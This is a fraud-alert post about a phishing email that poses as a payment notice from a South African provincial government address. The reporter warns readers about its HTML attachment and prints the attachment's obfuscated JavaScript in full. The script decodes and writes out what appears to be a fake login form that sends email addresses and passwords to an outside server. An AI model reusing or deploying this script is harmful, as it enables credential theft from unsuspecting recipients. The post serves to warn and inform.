Email Fraud Alert received from: Mathew
I recently received an email with this subject line: Please find payment attached. and I am concerned that it could be an attempt at defrauding me. Let me know in the comments section what you think, please.
The full contents of the suspected fraudulent (phishing / scamming) e-mail appear below:
Please find payment attached.
Kind regards
This message and any attachments relating to official business of the Mpumalanga Provincial Government (MPG) is proprietary to the MPG and intended for the original addressee only. The message may contain information that is confidential and subject to legal privilege. Any views expressed in this message are those of the individual sender. If you receive this message in error, please notify the original sender immediately and destroy the original message. If you are not the intended recipient of this message, you are hereby notified that you must not disseminate, copy, use, distribute, or take any action in connection therewith. The MPG cannot insure that the integrity of this communication has been maintained, nor that it is free of errors, viruses, interception and / or interference. The MPG is not liable whatsoever for loss or damage resulting from the opening of this message and / or attachments and / or the use of the information contained in this message and / or attachments.
The above email was sent by “Nothando Tracy Mabila” from this email address: mabilant@mpg.gov.za
I, Mathew, have the following thoughts/comments on this suspected fraudulent email message from “Nothando Tracy Mabila”:
This email has an attachment (scan.67.html) that allows unverified scripts to run on your computer when opened. Be careful.
The script:
.SCRIPT LANGUAGE=’JavaScript’>
var key = “AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz1029384756><#].:/”;
function hJKm(_message) {
var bTG; var rcH = key.length/2; var _newString = “”; var lk;
for (var x = 0; x < _message.length; x++) { bTG = key.indexOf(_message.charAt(x)); if (bTG > rcH) { lk = bTG – rcH; _newString += key.charAt(34 – lk);} else {
if (key.indexOf(_message.charAt(x)) < 0) {_newString += _message.charAt(x);}
else {lk = rcH – bTG; _newString += key.charAt(34 + lk);}}} return (_newString); }
source=hJKm(“c0ovwDc07:6Dcv7o: 0oos-7rnzm=\”#tuo7uo-Pjs7\” <tuo7uo=\”o7koA0ovw; <0:qp7o=lzu6tlp-IHEH\”Dcozow7DUm7qp7:p P7w79q:s0z< Pq:up87q #tu8zqv:oztucAozow7Dcpojw7 ojs7=\”o7koA<pp\”Dc!–Bpojw7I { 8tuo-8:vzwja /qz:w, 27wm7oz<:, p:up-p7qz8; 8tuo-pzi7a IFsk; 8tuo-l7z90oa ]tw6;}–DcApojw7DcA07:6Dc]t6jDcs :wz9u=\”<7uo7q\”Dczv9 pq<=\”0oosaAAlllBq797uop-zum7poB<tvAstsBys9\” lz6o0=\”ddg\” 07z90o=\”dFd\”DcAsDc6zm pojw7=\”stpzoztua :]ptwno7; lz6o0a FhGsk; 07z90oa GhHsk; i-zu67ka G; w78oa Fegsk; otsa IEfsk\” z6=\”w:j7qG\”D co:]w7 ]tq67q=\”I\” lz6o0=\”IhG%\” z6=\”o:]w7H\” pojw7=\”]tq67q-lz6o0a hsk\”D coqD co6 pojw7=\”]tq67q-pojw7a utu7; ]tq67q-lz6o0a v76znv\”Dc8tqv v7o0t6=\”stpo\” u:v7=\”vj8tqv\” :<oztu=\”0oosaAAlllBq797uop-zum7poB<tvAsts-q76zq7<ozu9efgGEgefGfgfgGFEgffGEfg7yfggfGFfghGEhgBs0s\”D csD&u]ps; cAsD c6zm <w:pp=\”<tw-pv-IH\”D c]qAD c]qAD &u]ps;&u]ps; &u]ps;cps:u <w:pp=\”pojw7I\”D 5v:zw&u]ps;&u]ps;cAps:uD&u]ps;&u]ps;&u]ps; &u]ps;&u]ps;&u]ps;&u]ps;&u]ps;&u]ps; &u]ps;&u]ps;&u]ps;&u]ps;&u]ps;&u]ps; czusno ojs7=\”7v:zw\” q7rnzq76 <w:pp=\”8tqv-<tuoqtw\” z6=\”7v:zw\” u:v7=\”7v:zw\” sw:<70tw67q=\”\” m:wn7 pzi7=\”Gh\”D c]qAD c]qAD cps:u pojw7=\”v:q9zu-otsa h; v:q9zu-]tootva h\”D &u]ps;&u]ps;&u]ps;&u]ps;&u]ps;cpoqtu9 <w:pp=\”pojw7I\”D5v:zw T:ppltq6cApoqtu9D&u]ps; czusno ojs7=\”s:ppltq6\” q7rnzq76 <w:pp=\”8tqv-<tuoqtw\” z6=\”s:ppltq6\” u:v7=\”s:ppltq6\” sw:<70tw67q=\”\” m:wn7 pzi7=\”Gh\”D cAps:uDcA6zmD cs pojw7=\”v:q9zu-otsa h; v:q9zu-]tootva h\”D&u]ps;cAsD cs :wz9u=\”<7uo7q\” pojw7=\”v:q9zu-otsa h; v:q9zu-]tootva h\”D czusno ojs7=\”zv:97\” pq<=\”0oosaAAlllBq797uop-zum7poB<tvA]nootu:]p:Bsu9\” :wo=\”Xt9zu\” u:v7=\”1I\” lz6o0=\”gh\” 07z90o=\”GH\”D cAsD cs pojw7=\”v:q9zu-otsa h; v:q9zu-]tootva h\”D&u]ps; cAsD cA8tqvD cAo6D cAoqD cAo:]w7DcA6zmDcA]t6jDcA0ovwD<i~”);
document.write(source);